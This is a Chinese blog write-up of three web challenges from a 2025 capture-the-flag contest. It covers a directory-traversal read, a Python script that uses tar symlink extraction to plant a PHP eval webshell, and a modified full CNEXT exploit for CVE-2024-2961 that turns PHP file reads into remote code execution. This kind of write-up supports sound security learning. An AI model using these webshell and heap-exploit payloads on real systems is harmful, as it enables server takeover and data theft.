跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHPAI算法

第五届长城杯 2025 Web 初赛 Writeup

第五届长城杯 2025 Web 初赛解题思路。文曲签学通过调试模式指令绕过及目录穿越获取 Flag;EZ_upload 利用 tar 解压符号链接特性实现路径穿越写入 Webshell;SeRce 基于 CVE-2024-2961 漏洞,结合 Python 脚本进行文件包含转远程代码执行。涉及 PHP 堆溢出利用、符号链接配置及命令注入技巧。

乱七八糟发布于 2026/1/16更新于 2026/10/2698 浏览
第五届长城杯 2025 Web 初赛 Writeup

文曲签学

页面提供寻词器,提示进入调试模式。

查看网页源码,发现通过长按 Fn 即可进入调试模式。

image-20250914205917078

进入调试模式

根据页面提示输入 #help,查看可执行指令。

image-20250914205953196

#list 查看笔记列表

为方便操作,后续直接在 Burp Suite 中执行指令。看到提示 Flag 在根目录下。

image-20250914210125723

#about

提示需关注公众号(已忽略)。双写绕过及目录穿越读取 Flag。

image-20250914210228257

#read ....//....//....//....//flag

成功获取 Flag。

image-20250914210325269

EZ_upload

文件上传题目,网站仅有一个上传点。任意上传文件后显示源码。

image-20250914210440329

接受文件后对文件名做简单过滤,保存在 /tmp 目录下并执行 tar 解包操作。

文件上传通常需写入 webshell,但文件保存在 /tmp 下,需修改保存位置。

题目隐藏知识

✅ 关键点:tar 解压符号链接时,默认会保留符号链接(不会跟随链接写入)

✅ 关键点:tar 默认在解压文件时,如果路径中包含符号链接目录,会'跟随'符号链接,把文件写入到符号链接指向的真实目录

利用 tar 解包 + 符号链接修改文件保存位置。

(符号链接类似快捷方式)

step1:
  • 在 /tmp 目录下创建符号链接文件 my_link
  • 该符号链接指向目标 Web 目录:/var/www/html
  • 解压后,/tmp/my_link 等价于 /var/www/html
step2:
  • 创建 webshell 文件的 tar 包
  • 路径设置为 my_link/myshell.php
  • 当服务器在 /tmp 解压时:
    • 尝试把文件写入 /tmp/my_link/myshell.php
    • 由于 my_link 指向 /var/www/html
    • 实际写入位置为 /var/www/html/myshell.php

实现了写入 webshell 的操作。

生成的 tar 方法可在 Linux 等效目录上创建对应链接然后压缩为 tar 包上传。

提供了 Python 生成脚本:

poc

import os
import tarfile
from io import BytesIO

# === 参数设定区 ===
payload_data = b'<?php phpinfo();@eval($_POST["fly233"]); ?>'
payload_filename = "myshell.php"

# 符号链接配置
link_alias = "my_link"
destination_path = "/var/www/html"

# === 核心逻辑区 ===

# 构建符号链接 tar 包
with tarfile.open("step1.tar", mode="w") as archive:
    link_entry = tarfile.TarInfo(name=link_alias)
    link_entry.type = tarfile.SYMTYPE
    link_entry.linkname = destination_path
    archive.addfile(link_entry)

print("✔ step1.tar 生成完毕")

# 利用前面创建的符号链接路径构造写入目标
target_in_archive = os.path.join(link_alias, payload_filename)

# 构建包含 Webshell 的 tar 包
with tarfile.open("step2.tar", mode="w") as archive:
    file_entry = tarfile.TarInfo(name=target_in_archive)
    file_entry.size = len(payload_data)
    archive.addfile(file_entry, BytesIO(payload_data))

print("✔ step2.tar 生成完毕")

按顺序先上传 step1.tar 然后上传 step2.tar,webshell 创建成功。

  • 路径: http://url/myshell.php
  • 密码: fly233
特别注意

需要在目标对应的操作系统上运行,可能是内部 tar 机制不同。在 Windows 上运行生成的 tar 包可能达不到预期效果。

在根目录拿到 Flag。

image-20250914212233055

SeRce

LFI 转 RCE 实现,涉及 CVE-2024-2961 漏洞。

详细请看其他师傅的介绍:文章链接

针对这道题,只写具体操作步骤。

首先去 GitHub 下载 exp 脚本:脚本链接

因为脚本较长,文章末尾会给出这道题对应的修改好的脚本代码。

需要进行修改的地方有:

  • url 部分,且因为这道题需要传入 exp 参数,所以要写全。http://url/?exp=1 (任意值即可,只需要序列化还原值不变即可)
  • 文件包含的路径参数。这道题和脚本都是 POST 传参,所以方法不需要修改,只需要把参数名字改为 filetoread
  • 文件包含内容返回值的正则匹配。这道题和脚本也一样都是 File Contents: 后边的内容
  • 你要执行的命令

大概都在文件开头的位置:

image-20250914213214144

然后就可以实现 RCE,通过重定向命令结果到文件,然后通过普通的文件包含读取执行结果。

跑通一次之后,后面只需要每次改动命令就行了。

image-20250914213325205

执行 ls /后发现,根目录下有 readflag 脚本。

image-20250914213436078

然后就是执行 readflag,拿到 Flag。

image-20250914213443628

本题脚本

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
from __future__ import annotations
import base64
import zlib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from pwn import ELF
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
    """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like:
    ```php
    <?php $data = file_get_contents($_POST['file']); echo "File contents: $data";
    ```
    Tweak it to fit your target, and start the exploit.
    """
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response."""
        return self.session.post(self.url, data={"filetoread": path})
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file."""
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = re.search(b"File Contents: (.*)", flags=re.S).group(1)
        return base64.decode(data)
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
 "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
 "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""
    url: str="https://eci-2zeet6r5ki0tcx91i38i.cloudeci1.ichunqiu.com:80/?exp=1"
    command: str = "/readflag > /tmp/flag"
    sleep: int = 1
    heap: str = None
    pad: int = 20
    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)
    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs."""
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result
        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        result = safe_download(path)
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that that the [i]data://[/] wrapper does not work")
        msg_info("The [i]data://[/] wrapper works")
        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")
        msg_info("The [i]php://filter/[/] wrapper works")
        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")
        msg_info("The [i]zlib[/] extension is enabled")
        msg_success("Exploit preconditions are satisfied")
    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)
    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b"
            r".*"
            r"\s([-rwx]{3}[ps])\s"
            r"(.*)"
        )
        regions = []
        for region in maps.split('\n', strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    current = Region(start, stop, permissions, path)
                    regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")
        self.log.info(f"Got {len(regions)} memory regions")
        return regions
    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()
        LIBC_FILE = "/dev/shm/cnext-libc"
        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)
        # Libc
        libc = self._get_region(regions, "libc-", "libc.so")
        self.download_file(libc.path, LIBC_FILE)
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start
    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")
        return region
    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)
    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]")
        ]
        if not heaps:
            failure("Unable to find PHP's main heap in memory")
        first = heaps[0]
        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")
        return first
    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()
    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here.
        The idea is to use the bug to make the freelist for chunks of size 0x100 point lower.
        For instance, we have the following free list:
        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
        By triggering the bug from chunk ..900, we get:
        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
        That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like:
        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
        We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order.
        Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain.
        After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(<chunk>). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations."""
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
        CS = 0x100
        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)
        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)
        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)
        step3_size = CS
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)
        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)
        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000, 0, # free_slot
            0, 0, ADDR_CUSTOM_HEAP, # 0x18
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            ADDR_HEAP, # 0x140
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            size=CS,
        )
        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC,
            size=0x18
        )
        step4_use_custom_heap_size = 0x140
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"
        assert (
            len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
        pages = (
            step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2
        )
        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"
        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"
        return path
    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()
        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        msg_print()
        if not self.sleep:
            msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        msg_print()
    def compress(data) -> bytes:
        """Returns data suitable for `zlib.inflate`."""
        # Remove 2-byte header and 4-byte checksum
        return zlib.compress(data, 9)[2:-4]
    def b64(data: bytes, misalign=True) -> bytes:
        payload = base64.encode(data)
        if not misalign and payload.endswith("="):
            raise ValueError(f"Misaligned: {data}")
        return payload.encode()
    def compressed_bucket(data: bytes) -> bytes:
        """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
        return chunked_chunk(data, 0x8000)
    def qpe(data: bytes) -> bytes:
        """Emulates quoted-printable-encode."""
        return "".join(f"={x:02x}" for x in data).upper().encode()
    def ptr_bucket(*ptrs, size=None) -> bytes:
        """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
        if size is not None:
            assert len(ptrs) * 8 == size
            bucket = b"".join(map(p64, ptrs))
            bucket = qpe(bucket)
            bucket = chunked_chunk(bucket)
            bucket = chunked_chunk(bucket)
            bucket = chunked_chunk(bucket)
            bucket = compressed_bucket(bucket)
        return bucket
    def chunked_chunk(data: bytes, size: int = None) -> bytes:
        """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`."""
        # The caller does not care about the size: let's just add 8, which is more than
        # enough
        if size is None:
            size = len(data) + 8
        keep = len(data) + len(b"\n\n")
        size = f"{len(data):x}".rjust(size - keep, "0")
        return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
    """A memory region."""
    start: int
    stop: int
    permissions: str
    path: str
    @property
    def size(self) -> int:
        return self.stop - self.start
Exploit()

目录

  1. 文曲签学
  2. 进入调试模式
  3. #list 查看笔记列表
  4. #about
  5. #read ....//....//....//....//flag
  6. EZ_upload
  7. 题目隐藏知识
  8. step1:
  9. step2:
  10. poc
  11. === 参数设定区 ===
  12. 符号链接配置
  13. === 核心逻辑区 ===
  14. 构建符号链接 tar 包
  15. 利用前面创建的符号链接路径构造写入目标
  16. 构建包含 Webshell 的 tar 包
  17. 特别注意
  18. SeRce
  19. 本题脚本
  20. CNEXT: PHP file-read to RCE (CVE-2024-2961)
  21. Date: 2024-05-27
  22. Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
  23. TODO Parse LIBC to know if patched
  24. INFORMATIONS
  25. To use, implement the Remote class, which tells the exploit how to send the payload.

更多推荐文章

查看全部
  • AI 大模型 API 中转平台选择与接入指南
  • 无人机视觉目标检测数据集 VisDrone 介绍与数据格式转换
  • Spring MVC 入门:MVC 模式与 RequestMapping 注解详解
  • 宏智树 AI:基于 ChatGPT 学术版的智能写作平台
  • 鸿蒙金融理财全栈项目:风险控制、合规审计与产品创新
  • OpenClaw 大龙虾机器人本地部署与配置指南
  • OpenClaw 开源 AI 智能体:核心原理、功能特性与本地部署
  • 自然语言处理在客户服务领域的应用与实战
  • MIT 电机模式控制详解:参数、场景与调试
  • Docker 拉取镜像超时解决方案:配置镜像加速器与 daemon.json 详解
  • GitHub 开源项目日报:2026 年 2 月 23 日 AI 工具与代理热榜
  • ChatGPT Go 在亚洲 16 国上线及三大使用限制
  • Ubuntu 20.04 网卡无法识别问题排查与驱动安装
  • 2026 年技术求职:纯 LLM、多模态大模型与 AIGC 赛道选择
  • ChatGPT-4 与 GPT-3.5 Prompt 差异分析及设计策略
  • LangChain 工程架构深度解析
  • 指针与数据结构:核心原理与实战解析
  • 使用 TRAE CN 结合 MasterGo MCP 将设计稿转为前端代码
  • Git 国内镜像源安装与加速配置全指南
  • 企业微信群机器人发送 Markdown 消息支持表格及艾特功能

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • 随机西班牙地址生成器

    随机生成西班牙地址(支持马德里、加泰罗尼亚、安达卢西亚、瓦伦西亚筛选),支持数量快捷选择、显示全部与下载。 在线工具,随机西班牙地址生成器在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online